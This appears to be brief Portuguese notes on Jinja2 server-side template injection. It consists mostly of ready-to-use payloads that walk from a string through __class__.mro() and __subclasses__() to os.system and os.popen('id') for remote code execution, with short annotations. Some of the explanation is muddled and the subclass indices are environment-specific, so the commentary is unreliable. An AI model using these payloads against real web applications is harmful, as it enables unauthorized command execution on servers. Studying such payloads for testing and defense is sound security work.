SSTI Jinja2
Testes {{'teste'.replace('e','D')}} __class__
import system os.system('id')
RCE a partir de uma string utilizando o os._wrap_close
nome.__class__.mro()[1].__subclasses__()[127].__init__.__globals__
nome.__class__.mro()[1].__subclasses__()[127].__init__.__globals__['system']('id')
Portanto, a partir de uma string conseguimos acessar a biblioteca str do Python. A biblioteca str do Python utiliza a função os._wrap_close do Python. Voltamos para o init, que é o construtor da os. E do construtor da os acessamos as variáveis e funções globais da lib os do Python, e com isso usamos a função system. rce a partir de bibliotecas built in do Python que importam o os
{{'caique'.__class__.mro()[2].__subclasses__()[131].__init__.__globals__['os'].popen('id').read()}}
{{'caique' "string"
.__class__.mro()[2] "object"
.__subclasses__()[131] "socket" .__init__.__globals__ "globals da lib socket" ['os'].popen('id').read() "popen do os" }}
EASY MODE Payload all the things
Last updated